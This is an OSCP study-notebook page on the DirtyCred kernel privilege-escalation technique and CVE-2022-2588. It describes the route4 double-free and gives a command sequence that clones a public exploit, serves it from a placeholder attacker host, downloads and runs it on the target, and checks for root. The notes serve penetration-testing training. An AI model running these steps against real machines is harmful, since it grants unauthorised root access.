Pearson's OSCP Notebook

DirtyCred - CVE-2022-2588

Properties1
tagsdirtycred, cve-2022-2588, kernel-exploit, route4, privesc, linux, oscp

2 min read

DirtyCred — CVE-2022-2588

Ctrl+F: DirtyCred · CVE-2022-2588 · route4 · credential swap · heap

DirtyCred — kernel exploitation technique (Black Hat 2022) that swaps unprivileged kernel credentials with privileged ones via heap reuse — works with UAF/double-free bugs.

CVE-2022-2588 — double-free in route4 classifier (net/sched/cls_route.c) — common PoC demonstrating DirtyCred on kernel 5.x.

OSCP note: Less frequent than Dirty Pipe - CVE-2022-0847 or Baron Samedit - CVE-2021-3156, but LES flags it — worth knowing if suggester hits.

→ Linux > 📌 9) Kernel Exploits · linux-exploit-suggester

📌 When to try

SignalCheck
LES outputCVE-2022-2588 / route4 / DirtyCred
Kernel 5.x (esp. 5.8–5.19)uname -r
Other kernel exploits failedLast-resort after sudo/SUID/cron/docker
uname -a
./linux-exploit-suggester.sh -f uname.txt -s CVE-2022-2588

Patched: kernel 5.19+ with fix backported to distros — verify build date.

📌 Reference links

ResourceURL
DirtyCred techniquegithub.com/Markakd/DirtyCred
CVE-2022-2588 PoCgithub.com/Markakd/CVE-2022-2588
Paper / slidesDirtyCred PDF

📌 How DirtyCred works (short)

  1. Trigger heap bug (double-free / UAF) on a kernel object
  2. Spray heap to place a privileged cred where unprivileged one was
  3. Process inherits root credentials — or overwrite file struct to write /etc/passwd

Data-only — no RIP control; bypasses many classic mitigations. Technique applies to multiple CVEs — 2588 is the PoC LES most often cites.

📌 Exploit — Markakd CVE-2022-2588

Requires on target: gcc, make, vulnerable kernel

# Kali
git clone https://github.com/Markakd/CVE-2022-2588.git
cd CVE-2022-2588
make
# Read README — may need specific kernel / config
# Transfer to target
python3 -m http.server 8080
curl http://KALI:8080/exp -o exp && chmod +x exp
./exp
id

→ File Transfer

Author test VMs: DirtyCred repo — login low / low

📌 searchsploit

searchsploit CVE-2022-2588
searchsploit route4
./linux-exploit-suggester.sh -f uname.txt

📌 Troubleshooting

ProblemFix
Exploit fails on target kernelDirtyCred PoCs are kernel-build sensitive — try Dirty Pipe / Baron Samedit first
System crashDouble-free exploitation — one retry max on exam
No LES hitSkip — focus higher-priority vectors

📌 Quick cheat sheet

./linux-exploit-suggester.sh -f uname.txt | grep -i 2588
git clone https://github.com/Markakd/CVE-2022-2588.git && cd CVE-2022-2588 && make
./exp && id

📌 Alias check (Linux/bash)

alias
alias | grep -iE 'sudo|root|pass|su |chmod'

Shell aliases may expose sudo shortcuts, paths to SUID binaries, or commands run as root — run on every Linux privesc pass.

→ Linux > 📌 1) Basic Manual Enumeration

Graph View

Backlinks